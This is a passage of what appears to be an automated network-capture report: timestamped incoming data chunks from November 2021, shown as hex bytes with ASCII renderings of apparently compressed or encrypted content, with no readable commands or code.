89 81 de 35 ac ef 78 c8 cf a7 23 ee 2e e0 9f d8 5d 1d 09 2d 27 4f 10 ff 3d 24 71 95 fc 6b e9 1b 84 1b ae 89 79 61 a5 d2 8a 
51 0b 35 87 80 27 4b ae 64 4e ec 94 6f 41 e3 88 db 1c 71 87 43 f6 dc 79 ca 22 a1 88 c3 4d 02 94 88 99 c0 05 b0 1b d9 2a 
47 72 17 47 91 ac dd 0a 7e 86 49 90 c7 c9 eb 1b 64 9b 9f 34 08 92 a0 d4 81 9e 3b 0a 63 3b 1c 3f 97 33 b6 73 53 05 2d 72 
3d 2d da dc 74 e8 6a 52 b5 3c 1d 9d d5 52 2e 0b 1c b1 e6 0b 01 4f e3 08 ca f5 b4 57 b4 f9 9f 71 92 a8 b1 da 31 a9 fc 89 
d5 6b 09 0b 28 44 40 74 36 33 2f 30 07 14 b3 2e 9d 0f 
Data Ascii: xw~Q~H+xhn&#2Nz&4D>SbSzyE-` D-Y<5x#.]-'O=$qkyaQ5'KdNoAqCy"M*GrG~Id4;c;?3sS-r=-tjR<R.OWq1
k(D@t63/0.

2021-11-25 16:27:48 UTC 1069 IN Data Raw: be 33 c6 3b bb d3 cf a9 dd 1a 30 75 b7 46 78 2a 55 a4 d1 6e 2d e3 92 32 ce 0b 55 9a b5 54 f7 0e 97 96 a8 19 
c8 1d 79 73 91 f9 eb 2f c2 d1 bf fe da dc 0c 7b 9a c1 1b d4 5c e5 24 00 fc 98 ec 09 9a c7 36 26 15 97 e9 be 21 33 de 52 
96 44 9a f9 ac 17 71 d9 41 a9 60 4d f9 7a c2 3d 5c bc ac d8 78 8d c2 0b 95 e4 55 f8 a4 e1 69 3a 98 bb 3e 3a f7 6c 79 33 
8b 6b d2 88 2e a4 7b 38 1f 07 bc 91 b4 a5 91 52 25 2c d2 5f e8 6f 6e f2 e2 48 b8 0e 64 62 5b 61 99 f9 2c 09 87 aa 74 8f 
15 fb e4 fd 3f b1 84 33 92 7f 78 7b 3f c0 06 e1 da 6f 6e 6a 7a 11 c7 75 d7 9d 4f da 4d 35 dd f9 f4 49 f0 cf 95 96 4a 84 b7 
7b 26 55 97 c3 f7 ae bb 00 dd dd da 42 ee a7 4f 50 29 81 82 5f db 35 b3 38 0e 64 0e c5 50 d6 3e bc 37 62 6f 99 9d 6a c7 
a4 02 94 cc 64 32 ff 33 fd 9f 31 fe ff ff c1 ff 25 da 
Data Ascii: 3;0uFx*Un-2UTys/{\$6&!3RDqA`Mz=\xUi:>:ly3k.{8R%,_onHdb[a,t?3x{?onjzuOM5IJ{&UBOP)_58dP>7b
ojd231%

2021-11-25 16:27:48 UTC 1070 IN Data Raw: 12 b0 3d 6f 3f ea 0e 63 1b 76 d8 8f 01 62 5a f8 e9 d1 93 b0 63 5c 24 af 41 52 57 4f 83 71 67 f2 94 19 4e 1c 6b 
c8 f0 a7 47 99 99 f0 82 74 2f 65 d5 3c a9 a1 e3 1a 35 5d 5f c2 4e 35 60 fe 9f d4 e4 93 0d 07 e3 65 75 df 4a 7d 61 ad 4e c1 
e0 e5 34 94 2b 22 43 43 46 0e 19 45 94 cf a1 82 86 0a 45 54 d4 50 31 77 53 fd 12 3c 05 30 b7 86 77 60 21 3b 03 2b f3 e4 
da d3 b9 93 39 81 75 1f a6 a1 3d e9 7d bd c7 3e d4 a1 35 06 dc f1 76 00 3d bb ed b7 2e 5e dc 7d 7d 83 23 6c b6 33 27 56 
29 69 53 ce ca c0 ec 4d eb 93 8e 5b 9b e3 48 4d cf e7 ff 70 71 84 74 0d a1 f8 8d e9 6e c2 03 e4 fe f9 a7 59 02 af 9b 3d 23 
2b 21 dd 45 15 81 bb 45 02 77 eb e6 ff 35 4f 6b d7 d6 7f 9d d6 58 05 0f e2 93 4f 53 30 f2 23 f8 ff 53 72 eb cb 1d 3e 21 83 
ce 57 45 36 38 73 fb c9 c8 e9 3b 05 72 5c 92 
Data Ascii: =o?cvbZc\$ARWOqgNkGt/e<5]_N5`euJ}aN4+"CCFEETP1wS<0w`!;+9u=}>5v=.^}}#l3'V)iSM[HMpqtnY=#+!
EEw5OkXOS0#Sr>!WE68s;r\
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2021-11-25 16:27:48 UTC 1072 IN Data Raw: 80 9e 94 e7 b7 e1 d8 d8 db 8d ab 53 95 a2 f6 9b bd c1 45 32 14 c1 bc 31 f5 32 c0 a8 fb 53 e5 b0 f0 c1 92 47 ce 
fd df 60 09 4d 07 eb e9 c2 18 3c b1 2f da 55 9b 0e d0 8e df e3 f3 12 80 55 92 2c 3f 74 e7 56 c7 9a 5b 0a 93 47 93 ce a0 3b 
00 be c2 13 7c 54 eb 0f eb 33 f7 32 f0 0e 05 61 2c b0 92 bc 52 e4 17 9c 48 0e ee 05 dc 34 3d 0b f1 32 44 5e 9f 53 df e4 d3
24 9e 7d 91 7c 35 70 50 c0 cc cc 16 44 15 ba 8b 21 76 0e 9d 0c 4f 14 dd 72 fc f0 76 66 ba 12 b7 bb ae 35 18 e2 77 00 70 
57 b0 c8 b3 3e 41 96 d2 f2 c2 e7 a3 62 37 40 c5 3a 83 b9 1d 32 86 3a 02 9e c3 8f aa 3b e5 3b af 6a 65 26 9f c1 54 4f 98 f1
06 9b df 06 5a b3 78 1f 79 92 ae 50 c7 c2 87 67 5b e9 ad f6 c8 5f 00 e9 59 c8 73 65 b5 1c 2c b5 ea 4c f5 2c a5 71 d8 7b 
50 d4 83 a0 c7 67 0f e9 be 3c 11 70 36 ca be 
Data Ascii: SE212SG`M</UU,?tV[G;|T32a,RH4=2D^S$}|5pPD!vOrvf5wpW>Ab7@:2:;;je&TOZxyPg[_Yse,L,q{Pg<p6

2021-11-25 16:27:48 UTC 1073 IN Data Raw: 74 02 ff 02 af 5e 60 8e 74 b4 07 4c cf e6 d0 46 e7 00 fe 82 dd c2 7f f2 c8 c5 7f 0a e8 b2 05 7f 8a e8 01 a6 27 5b 
42 5d fc ab 8c 26 d0 02 66 f7 a0 01 7f 34 d4 c4 bf 74 d4 c6 bf 72 e8 08 ff 31 d0 21 fe 03 bd c0 a4 c3 1c 77 f0 9f 22 fa b6 07 
7f 4a e8 08 64 03 a6 f9 12 7e c1 3c ef c3 2f 98 e8 17 fc 47 47 03 18 16 a6 ba 8f 7f 19 ec c5 96 f8 7a fc 4c 94 f2 59 51 2e f6 
fa 45 b4 46 fa 1a 35 c2 80 f9 66 1c 69 a2 33 55 79 89 8f dc 8b b0 18 af b1 dc a8 ed a8 ae 6b 92 29 da 16 1d d7 70 40 9a 
47 3a 98 a3 3b 73 7b db 77 ba e3 2d 93 74 97 39 18 47 99 07 62 1d ee 32 77 51 dd 18 04 e4 39 cc a7 fe 42 41 80 09 5a 
91 40 8d 3b 61 a3 9d b1 9e 8a 6c b8 e1 ed 5b 33 41 ba c3 c4 37 a2 f8 55 97 f8 d5 10 fc aa 03 bf 20 7e 6f 28 a6 95 25 8b 
f7 48 ba 34 0a 4b 82 a4 af 75 27 8c 3d 8c 
Data Ascii: t^`tLF'[B]&f4tr1!w"Jd~</GGzLYQ.EF5fi3Uyk)p@G:;s{w-t9Gb2wQ9BAZ@;al[3A7U ~o(%H4Ku'=

2021-11-25 16:27:48 UTC 1074 IN Data Raw: 2f f1 71 ea ce ee 27 e3 99 ab b2 5b 25 75 ba 4d 96 9f ab 35 59 73 15 93 35 57 eb b1 e6 e3 6a d6 dc 73 de 7c 
97 78 f3 51 f0 e6 3b e5 cd 47 85 37 a4 15 7e fa 1e e6 7c 5c 93 39 1f 63 32 e7 e3 7a cc b1 1b ab 99 33 63 cc b1 1a 52 ee 
af 21 d2 78 0d d0 48 84 8f 83 37 14 f6 e0 76 f8 e9 7b d8 e3 6b 1e 83 3d 3e f8 08 f6 f8 e0 de 66 8f b3 9a 3d 0f 8c 3b 4a 9a 
93 f0 c7 51 58 82 61 f1 c3 f7 70 c4 59 93 23 4e 4c 8e 38 eb 71 a4 b3 9a 23 d3 50 8e 74 08 47 3a 0a 47 30 2c 38 b4 9d 86 
cf a1 5d 9f 2b bf 61 6f 32 bf 3a c2 cb c7 8e f0 dc 15 6c 09 3b af 4f 18 e2 36 62 ba 16 dc d1 ec ad 66 fc cc e5 76 ac 2b a9 
6a 4f a8 6a b7 41 1c ce 9e 32 07 b4 19 7e fc 1e b9 ec ad 29 97 bd 98 72 d9 5b 4f 2e fb 51 ec 09 d7 d5 3e 61 50 3f c0 15 
a2 ad fd f7 71 a5 bf 26 57 fa 31 b9 d2 5f 8f 2b b7 
Data Ascii: /q'[%uM5Ys5Wjs|xQ;G7~|\9c2z3cR!xH7v{k=>f=;JQXapY#NL8q#PtG:G0,8]+ao2:l;O6bfv+jOjA2~)r[O.Q>aP?
q&W1_+

2021-11-25 16:27:48 UTC 1076 IN Data Raw: ed 84 df 55 b7 c3 bd 00 00 08 bb ab 8e 02 a8 7c f9 18 71 ab e6 af 31 e6 63 84 a5 fd c8 2d 2d bb 9f 2d 8a 35 0f 
d2 12 34 dd 11 b7 b3 3d e0 35 28 7b 83 66 f1 a4 25 c2 69 fd 18 71 eb 68 14 5b 3e 46 2c 41 1f 23 96 20 99 31 6c 9e c2 2e 
f0 f3 4d 64 49 01 28 f9 26 f2 17 16 23 c9 ab f0 2e df 15 17 a8 a6 7f 9c 33 0f 43 e3 5f c7 b0 33 fd ea f0 2e 05 2d 0f ef 52 1d 
d4 bf 63 85 c1 5d 7a 19 e2 83 10 ed d4 7d 44 6a 6a 38 84 9d 10 3f 99 9a ea d7 62 d7 89 81 6c 90 31 02 4c d6 a4 a8 08 8c 
a6 a6 b2 52 23 97 21 8a 41 40 b5 34 95 99 1a e6 e6 bd 00 01 4b a4 a9 b7 22 6a f8 5a c4 31 01 99 93 43 cb 59 f6 dd 0a cf 
91 e1 ac c3 b7 04 d2 8f d2 38 f2 47 69 a8 94 01 eb af 3b 37 42 0a 55 7b a6 cb 22 1a 70 e9 74 49 48 75 d5 a8 e9 92 94 ea 
aa f6 ea de 15 b1 f3 f8 66 68 2e cc d0 22 9e 92 
Data Ascii: U|q1c---54=5({f%iqh[>F,A# 1l.MdI(&#.3C_3.-Rc]z}Djj8?bl1LR#!A@4K"jZ1CY8Gi;7BU{"ptIHufh."

2021-11-25 16:27:48 UTC 1077 IN Data Raw: ef 0d 10 e6 40 a8 a6 63 e9 fd d8 00 6b 70 8a e3 41 30 67 1a f0 52 cb e7 40 3d 0c fc e5 68 2d 57 80 39 c6 6a 
08 ff 17 a0 a6 88 75 09 fe e2 4b a3 b3 c4 2c 69 20 2f 1a d8 39 60 cc 0d 68 42 ec b0 58 b6 11 d8 b0 ca 24 74 08 43 8a 2b 
a2 2c 65 8b 36 60 7e 24 e1 de 08 6c fb 4a 22 a8 ca 82 bc 92 04 d6 11 d9 66 15 4b 7e 74 7b 54 cf 25 29 08 ae cc 92 d2 04 
0c a2 d4 30 90 35 d6 7c eb 97 da 52 d2 0a 5d b5 94 39 9f 1e 07 ec 68 d9 57 1d e0 45 59 ce 6b ca b5 24 c6 cd c9 8b ae 16 
d8 45 d0 74 89 5c 5d e5 65 ce 7f 6c 42 33 b2 aa 94 1b 45 df 99 1b 90 fa a0 15 f2 1f bc f1 1b aa 0d 9a 1e 2e f8 7a d1 d5 6d 
a0 9c b1 4a 6d e9 ac c8 1e 8b 3a 67 39 69 ce 02 ee 4c 4e 9a b3 a0 3b 23 2f 6f 65 15 27 5d f6 d0 72 2a 4e 39 09 a5 7c e0 
f4 4c 5e de 26 0f cc 89 cf 6c 07 8c af 4c 6c 90 db 65 
Data Ascii: @ckpA0gR@=h-W9juK,i /9`hBX$tC+,e6`~$lJ"fK~t{T%)05|R]9hWEYk$Et\]elB3E.zmJm:g9iLN;#/oe']r*N9|L^&lLle

2021-11-25 16:27:48 UTC 1078 IN Data Raw: f7 2c 07 7c 8b ac fc be 4d 80 9c ac bc fd 13 18 54 72 c1 03 79 cf bc b2 da 2a c9 1c 79 bd 0e a6 6a 0b 3e 8f 24 
10 54 e8 be 4d e0 52 20 c7 ae fb b6 cd cb c1 f5 ca 77 3a db f3 49 36 3c 00 79 3e ca 81 cc ac 9e f5 39 3d 81 ec ab 9e f5 39 
1b 01 97 aa 28 85 ec 5f 1a f8 8b 9d aa 0f 81 53 dd a7 0d 09 a6 1c 84 29 0a 18 32 ed 81 a4 82 94 96 ff be 83 f2 aa a7 8d 
23 37 b4 27 d2 55 24 c9 94 0f 4b 32 95 59 92 69 09 d0 ff bb 6f 8d 2c 51 2b 74 15 21 0b cc 7e 58 15 bd f8 7a e3 ea cd f5 8c 
1b bd 82 64 f4 30 75 1f 77 f0 45 09 68 f6 37 50 1e 70 40 a9 47 63 ef 92 a3 9c af 91 23 06 13 86 e1 a3 f2 d3 2b 4b 34 7f db 
51 da 21 fd 60 47 69 11 7f df ef d7 27 7a 89 26 2b 3d 91 33 7c 10 75 89 0e 54 3c bc db cc d1 c3 ca c6 57 e4 3d 88 25 ba 
fb 25 2a 36 42 fd db 25 ea ed 92 0f 8b dd a0 
Data Ascii: ,|MTry*yj>$TMR w:I6<y>9=9(_S)2#7'U$K2Yio,Q+t!~Xzd0uwEh7Pp@Gc#+K4Q!`Gi'z&+=3|uT<W=%%*6B%

2021-11-25 16:27:48 UTC 1079 IN Data Raw: 5e be c2 44 e5 bd b8 26 92 22 bf 13 1f f9 1d 81 fc ee 6f 0b 9b 7f 39 db a0 ca 06 59 14 c3 3d 48 62 cd c3 13 51 
e4 84 a9 64 15 14 0c cb e1 32 ca af 8d 58 56 77 9a fe 5b 8a 8e ac 51 c4 25 45 7a 48 8b 86 fb 38 70 f0 ed e2 6f 66 53 f7 
a2 66 aa 29 25 0a f6 c4 3c b5 e2 4f 6e 4b 34 3a 88 6a b4 2f 8d 73 20 9a b4 e3 8f d3 f6 22 a9 26 04 f5 ba 71 83 8e df 1d 51 
c5 df a7 d6 d5 68 5d 3e fa 10 33 dc 8a c8 a3 ff 9a 14 4a e9 50 55 0a 95 b7 2d 83 a7 4d 57 dd 87 ab 26 74 83 af ee af ba 
0d b7 29 65 49 03 21 55 33 2a a4 6a 46 65 83 70 e5 46 ac 74 10 a9 0c 1c ca f5 9d e1 50 07 95 0f f2 a8 83 ea 72 16 30 ab 
56 4a 6f 20 83 0a 04 df 41 c7 79 92 43 11 39 eb 01 1b 26 dd 4a 03 fa 10 38 d6 8c 8f f3 a0 23 91 19 01 13 aa 87 bd 7e 8c 
0f e7 a0 5d 9c 19 39 fc a5 28 fc 3f 73 ef 3c 68 3f 
Data Ascii: ^D&"o9Y=HbQd2XVw[Q%EzH8pofSf)%<OnK4:j/s "&qQh]>3JPU-MW&t)eI!U3*jFepFtPr0VJo AyC9&J8#~]9(?
s<h?

2021-11-25 16:27:48 UTC 1081 IN Data Raw: 6b 37 84 e7 b7 1b 45 f0 8e 44 f0 ae 20 78 c7 13 88 dd 7f 92 40 6c c7 11 88 e7 38 56 fe d9 b3 f2 cd f8 a6 ab 49 
38 d4 5c 61 8d c2 2c 97 0f f6 ed ef d5 93 7d fb 28 7c f6 a4 f9 6a 89 f9 da f3 e6 ab f5 4f 9a af 7e 3d c6 7c 35 e3 cc 57 d3 9b 
af 83 28 fe ec 4b fc 39 10 fc d9 f7 f8 73 f0 4f e2 cf 7d 1c fe ec c7 31 70 fb 9e df d8 8e 2f cf ed 3d ba e5 d0 f6 33 e5 ad e5 f8 
2e 73 34 7e 53 94 ef 32 17 fd e8 2c 07 30 36 aa 1b 7e 63 88 7b 17 9d 00 01 6c a2 14 8b df 2c d3 89 e8 86 ee 2d 1c 46 75 
63 08 fd 3c 8a e2 ef a1 24 7f 47 42 fe 0e 3d f9 3b fa 27 c9 df 6b 1c f9 6b c7 d1 cf b6 a7 9f c7 f1 e5 ef 58 70 e8 44 0d a6 f1 
8e 0a de 45 b1 d9 2e 8a ed ed a2 d8 81 5d 94 26 a9 3f 21 5b 5e c1 9d 13 9b dd ba f8 7c 97 72 32 3d bc 39 09 7f c8 e7 0a 
ff ec fc fc 09 e5 ad ce 9f 4e a6 
Data Ascii: k7ED x@l8VI8\a,}(|jO~=|5W(K9sO}1p/=3.s4~S2,06~c{l,-Fuc<$GB=;'kkXpDE.]&?![^|r2=9N

2021-11-25 16:27:48 UTC 1082 IN Data Raw: c5 db ff 24 16 bf ae c9 e2 46 14 e1 75 89 f0 86 20 bc de 22 67 71 1b bf c2 6b b5 d1 d9 dc 9a 47 b4 ca 09 ab b2 
1b 85 e7 8e 84 e7 ae c0 73 c7 b3 2a bb ff a4 29 6a b4 7e b7 55 69 c6 d7 93 26 61 4f f3 57 f5 a4 15 35 d2 9e 34 0d 2d 31 
0d 7b 5c 4f 5a ff a4 49 68 ae a9 27 fb f1 59 bc 4f 48 df ff 15 16 ab 8d de 50 8f 82 50 8f 76 14 7a 07 d2 bc b4 c5 bc 1c 78 
ea d1 fe 27 cd cc fe 6f 57 8f c3 f8 73 77 48 d8 73 a8 4c c3 f9 60 3e 8c 98 06 9d 0e e5 6b 35 0b b4 0a 78 87 ba d8 c0 3d 8e 
42 f0 48 9a bd 63 31 7b 47 
Data Ascii: $Fu "gqkGs*)j~Ui&aOW54-1{\OZIh'YOHPPvzx'oWswHsL`>k5x=BHc1{G

2021-11-25 16:27:48 UTC 1082 IN Data Raw: de ec 1d ff 93 66 ef f0 b7 cf de 97 28 e6 9c 48 cc f9 22 98 73 1a 7f c2 4f 5b 62 b3 ec a4 45 6e a4 3c 7f 57 10 49 
76 cf 5a 3c a9 7e 26 f2 f9 f8 02 ef d6 1a 5b 5f eb 67 3d 2e c2 23 2b 9c 74 3c 6d a9 37 69 ba fc 26 cd af ad d8 69 f3 f0 fc c7 
d9 7f 2e a5 f6 75 ed 9c 15 dd 6f 8d 92 86 4b 49 80 be 09 01 ba 8a 2f 40 57 a2 d1 f7 f8 8d be 8b 46 1f e3 37 fa 28 1a 59 fb 
b1 1b 59 fb e2 4d b2 f8 8d 6c d1 c8 89 df c8 11 8d 3a f1 1b 75 44 a3 6e 54 23 77 5f 7a f7 69 5f 68 6c 2f fe 40 3d 31 50 3f 
7e a3 be 68 34 88 df 68 e0 e1 77 d9 c2 37 22 e3 2b 62 f1 fd b0 fe 2e 56 bf ac fb ad 15 fb 65 dd 26 a9 b7 33 8b f0 6d 75 0b 
ab 96 bd 2a a5 c3 6a d5 94 4e 9e 6f 0d b6 f8 ab bd b7 fb c4 8a d1 2b 12 ae fc 56 ac c4 a0 bf 0b e8 bb 7d fa ca b0 ba 05 ce 
77 47 bb fb 1c 72 c8 20 0b e1 9b 
Data Ascii: f(H"sO[bEn<WIvZ<~&[_g=.#+t<m7i&i.uoKI/@WF7(YYMl:uDnT#w_zi_hl/@=1P?~h4hw7"+b.Ve&3mu*jNo+V
}wGr 

Timestamp
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2021-11-25 16:27:48 UTC 1083 IN Data Raw: f1 4a 3c ff ce ca f7 08 08 ef 1c ac 75 10 81 ec 47 69 06 ac 03 b1 51 8b 55 06 e1 23 17 c8 f6 b7 f6 76 ee ac 03 fe 
da 6c 7d c8 3d 5a e4 1c ac c6 28 e7 bb 95 ad 13 85 95 b2 6f 2a f0 72 e3 37 72 45 a3 0b f3 c7 12 75 0f cc d4 c5 b5 5e 30 
6e 4c 03 41 a1 98 a7 05 2d 5f 2c b3 47 b9 42 96 97 f2 f0 2c 87 6b 8b 25 ed c6 d4 70 49 2b 94 45 a9 78 63 16 31 5c 36 9f 
a3 cf a0 64 88 da 92 78 a6 df 98 3a 79 56 2c f2 da 72 99 b5 d5 8d bc a8 cd f3 da 62 81 d6 42 49 17 cf 72 a2 24 c6 28 79 
25 51 5b 12 2d 3c 9c 4b 59 d1 56 60 5f 64 f8 41 03 81 55 51 b4 28 f2 16 b9 12 d4 16 a0 54 30 ca bc 90 a5 85 3c 1e 1e 17 
74 82 1c 65 63 59 63 95 18 4b 4c 43 be 5c a4 4c d4 09 81 84 9d 46 99 b1 3d 5f 2a 71 70 f1 a4 c8 9f e8 bc 03 06 a3 e5 31 
1d 39 3a 6d 6c 68 4d 2f b0 67 1a 41 87 94 4a 94 8e 
Data Ascii: J<uGiQU#vl}=Z(o*r7rEu^0nLA-_,GB,k%pI+Exc1\6dx:yV,rbBIr$(y%Q[-<KYV`_dAUQ(T0<tecYcKLC\LF=_
*qp19:mlhM/gAJ

2021-11-25 16:27:48 UTC 1085 IN Data Raw: 90 fc a2 58 7e 34 b1 ac 68 62 21 2a 09 e7 37 5b 36 44 49 e8 63 36 2b 9e 09 6b 52 10 22 51 e6 6d 0d 0e 97 33 
8a 39 51 12 cf 44 7f 59 61 ed b2 dc bf 00 2b c1 79 2a 4a 46 1e fb 80 25 0a c7 97 81 82 b0 17 79 b1 dc e6 4b 7c b9 28 68 
9e b5 e3 13 cc 8d 67 8e ac 3e d4 90 eb 3a 5b e6 73 06 8f 22 73 05 c1 a1 ac b0 2b 59 9d 2f 7b 46 d1 10 70 05 21 11 c2 ee 
95 bd 92 10 4a bd 24 4a 5c 86 ca b9 ac 80 13 7e 97 10 e3 72 4e 88 67 99 63 60 94 05 bd 59 61 5b b3 7c a5 31 4a 45 51 
cb 39 99 17 6a 6b 94 38 45 06 0f 66 a1 24 9c 19 69 8c ac a8 2d 89 67 dc 0d 21 e1 25 5d 5a 79 f0 69 90 80 94 d5 8a a8 a0 
5c 12 b5 1c ab a2 50 4c c3 8b 37 30 37 d8 ac 0a be 70 5e 19 f9 9c 50 74 ce 67 78 e6 49 84 2e 6a bd d9 12 72 80 a3 87 12 
2d f1 55 20 9f 17 b1 54 9e 73 2d 8b f5 68 83 35 2e 8b 6e 04 
Data Ascii: X~4hb!*7[6DIc6+kR"Qm39QDYa+y*JF%yK|(hg>:[s"s+Y/{Fp!J$J\~rNgc`Ya[|1JEQ9jk8Ef$i-g!%]Zyi\PL
707p^PtgxI.jr-U Ts-h5.n

2021-11-25 16:27:48 UTC 1086 IN Data Raw: d2 3f 06 dd 94 93 e6 2f a3 76 cc 6c b5 23 0e f0 55 3b 5b 5b 8c 2b b7 12 57 7f fe c4 bb cb 55 86 25 79 71 72 59 
1d bc 45 9d 8c fe 2d 45 ff f6 80 be 02 79 90 4a de 5f d8 cf db 4e 92 62 79 17 b6 d7 fe 63 89 1c fc 4f c7 bc be 41 2e fe a7 
eb 41 3d 10 3a 3e 38 d7 0f 37 14 7e 6a 3e 24 06 30 91 d6 d8 71 27 5d 18 e2 f3 43 a6 57 b9 be a9 62 10 d3 71 52 d3 74 
75 cf 4e 4d 91 e8 62 91 fe 61 5f 2f 6e 4c fc 0f 26 a9 8a 0b f4 ca e6 87 34 08 c7 94 31 e5 e7 cf 0e 7f ca 7a 48 2f 97 e4 6d 
5e f8 65 c1 af 6a 87 b3 8f a2 d2 33 3b 99 59 7f d0 9d a7 d2 55 97 36 ed a5 a1 f7 de cd e6 26 34 c1 05 24 13 f2 dd 4e 61 
24 11 be 23 1e fe 06 87 5d a6 97 64 f2 31 37 46 c0 08 8c 86 eb eb 42 a1 7d 73 33 f5 60 3e 64 fa e4 54 80 69 3e fc fc d9 
87 8e 41 d0 f0 1f 7c cb fc 88 77 9d 26 94 92 99 fa 
Data Ascii: ?/vl#U;[[+WU%yqrYE-EyJ_NbycOA.A=:>87~j>$0q']CWbqRtuNMba_/nL&41zH/m^ej3;YU6&4$Na$#]d17FB}
s3`>dTi>A|w&

2021-11-25 16:27:48 UTC 1087 IN Data Raw: a1 16 01 18 7d 51 65 99 35 cd 57 ef 16 a0 8e 3b 74 e7 58 d5 f1 78 4b 60 55 97 a8 28 a1 c0 74 51 6a 8a f1 a1 
3f d3 e0 00 89 1f e6 14 8c 5e 9a 10 bc b9 59 c7 ac c5 d4 03 05 f8 09 b1 0f 6e 5c fb d0 c3 f6 01 d3 8e 5b 32 0c a6 54 a8 7f 
4c ad 8a 85 3a 15 77 29 d9 75 54 57 2d 34 ea 80 17 e8 93 8a 34 fb a8 cf a3 ec a4 60 05 a3 7f 15 95 a1 3d bb 99 e1 c4 ea 
a4 3a f8 6e f6 74 f5 23 ee ef 19 08 de 19 21 8b 0c 81 df ad 8f 33 32 75 c1 24 dd 72 92 b0 88 84 f7 ba 01 dd 56 bf f3 87 bd 
5b 31 54 f5 ce 94 5d 94 ea 1d 54 86 be 48 24 79 29 d2 3a 8b 4d 0b f5 d9 ae ad 1b be 80 89 07 58 bf f0 a8 1d 18 95 fa 7b 
b7 48 44 40 82 1f 1d bc 98 7f b0 fd 6b f6 e1 a4 b3 18 ba de 42 9c b0 17 73 b1 6a c3 0a dd 65 6b 3a f5 86 fc 9e 50 e2 69 
30 ef 27 c0 9a 26 1c ea 7a cc f0 32 ee 39 44 0d aa 
Data Ascii: }Qe5W;tXxK`U(tQj?^Yn\[2TL:w)uTW-44`=:nt#!32u$rV[1T]TH$y):MX{HD@kBsjek:Pi0'&z29D

2021-11-25 16:27:48 UTC 1088 IN Data Raw: b5 f4 d1 2f db d4 b3 27 2b 1d 5e e7 f0 e5 3c 38 0f 83 83 74 b1 36 5a 78 9f e3 ce bc f2 07 0e ed 10 57 b5 69 5a 
e4 bd db b0 6f fd 52 00 e2 a3 7e eb a9 31 07 61 e5 07 92 0b 4d d9 26 49 dc 8e ac e7 14 0d 1c 18 bf 2d ce 7f 9b bc 96 be 
72 57 a3 41 de 7f 0e 7b 6d 92 b6 a7 7c f8 7e a0 ba 88 84 09 9f b4 0f 26 b9 eb 93 ae 95 f0 ac 9a e4 70 49 90 38 4c 3c b8 cf
76 e6 f8 73 ca 32 8f 86 44 ed db 43 84 db 80 7b 74 8c f9 56 09 6f 31 b2 f0 35 27 23 2b 85 37 2a 7c 73 d6 5a 39 69 43 05 
72 2f 0c f2 23 5f e5 e5 6d ae ab 78 1b 41 c9 eb e3 7b 97 d9 d6 41 a7 92 60 86 fb 0c c2 2c f1 63 b8 95 44 89 47 77 3a 03 
20 f1 b0 8f 97 82 65 95 77 98 b8 3c 10 7d 5e df 90 8d 91 6f 07 66 16 59 6d 79 4c 9f 9d 07 51 80 a8 a5 4d 2c b1 d5 96 45 
98 99 fe a4 87 5a df 9a 25 ac 21 b8 22 9d 97 84 ed 
Data Ascii: /'+^<8t6ZxWiZoR~1aM&I-rWA{m|~&pI8L<vs2DC{tVo15'#+7*|sZ9iCr/#_mxA{A`,cDGw: ew<}^ofYmyLQM,EZ%!"

2021-11-25 16:27:48 UTC 1090 IN Data Raw: 3f 6a ca ec cd 7e 7a a2 1f 8c f6 a4 6d 6a e8 1e ff f3 e0 27 20 98 39 ed d3 0d 6d 77 5e e5 27 a0 f1 f7 70 60 9d 
e6 69 1b 58 ea da 38 b5 f9 20 e3 37 1b f4 c6 56 d8 b5 a1 53 76 8f d8 07 7e 91 d8 ac 1d e6 ef 4c b1 14 12 f6 f9 ba bd 0c bf 
c0 6b 0e e2 43 47 ac 2c da 3c 33 8f 3a d6 dc aa d8 62 31 7a 0c 0a af e3 e5 8e 9d cf 9e 45 10 fd ba cb 8a c3 2c c8 82 28 
89 38 86 7b 59 09 01 b7 32 97 78 cf 1f 9e 80 eb b3 44 53 d5 72 50 bf ec a9 4d af ed ed 67 c0 2b a7 c5 f3 94 2d 9d d1 44 
8b 40 c3 cc e4 e7 cf 14 fc 6b 3e 53 34 b6 92 9f 92 5b f7 6d 7c 10 dc 6b f6 ac 36 f3 12 b6 38 3b 79 4c d6 91 0c 98 92 e9 c0 
9d e1 fc 66 3a d3 1d 8c 3b 3e 79 71 4c fc a7 ea f0 f3 49 42 7e e8 6f 7a 02 c9 34 81 ab 69 ba a3 f7 f3 67 b2 76 74 7c 74 75 
78 fc f5 2c 59 49 1e 5f 1e ed 9c b6 77 ce ce 
Data Ascii: ?j~zmj' 9mw^'p`iX8 7VSv~LkCG,<3:b1zE,(8{Y2xDSrPMg+-D@k>S4[m|k68;yLf:;>yqLIB~oz4igvt|tux,YI_w

2021-11-25 16:27:48 UTC 1091 IN Data Raw: 47 9f d5 dd 9f 9f 46 95 2b 6b a7 66 31 6b 7b d7 ba 66 c7 f4 33 82 6d 8e 0a b5 ce b8 3b 99 e2 9b c1 60 58 d8 85
a3 36 e8 42 95 6f a3 8a 75 bc df d8 6e 1c 1f 6f 9f b7 9a bb 16 59 0d 4e 6d cb 02 12 f1 6e f1 bb 2f d8 ce 1b cc bc f1 63 61 
3f f2 c7 f4 d0 40 a9 76 61 7b 34 ee f6 e0 f9 b1 70 3c 1b 44 f0 4f ef b1 b0 3d 8b 67 93 29 90 d7 a3 69 d4 f7 e1 36 6e 05 d3 
21 fe 6d 0e ef 79 c1 6e 14 d0 83 1a a4 00 a3 3c dd fd 7f 31 ca 03 1f 05 47 c0 ce b1 6b d9 31 f6 8b dd 62 9f d8 1b f6 84 9d 
18 ed 6b ff c3 f6 97 d0 fe 7c 36 08 a1 49 63 48 7f 2e 66 d1 04 ff 5e 46 e1 80 3f 5d 74 66 63 7a d8 1f 77 f1 cf b9 07 30 00 0f 
46 47 4b 7b ff a9 9e 1e 79 47 d8 0b 76 81 cd b1 21 b6 c1 06 46 dd dd 7f 50 77 b4 07 75 1b 17 97 17 fb e7 3a 34 ed dc e5 
16 ff b8 03 f8 3d 2d 03 d0 9e ae e1 3f 
Data Ascii: GF+kf1k{f3m;`X6BounoYNmn/ca?@va{4p<DO=g)i6n!myn<1Gk1bk|6IcH.f^F?]tfczw0FGK{yGv!FPwu:4=-?

2021-11-25 16:27:48 UTC 1092 IN Data Raw: 69 c3 71 69 7f 10 30 a8 8e 4c 5b 06 21 11 2e 33 ed eb 22 42 66 b5 ec ea 25 b0 41 5b 92 41 13 09 bf 62 a0 fd 
e1 26 46 43 e8 4a 20 c3 96 24 1e 88 0a 93 71 b1 4b d0 c8 a0 33 61 12 8c 6a 07 5c bd e7 67 c0 0b b0 df ea 8e f6 8a 5f ef 
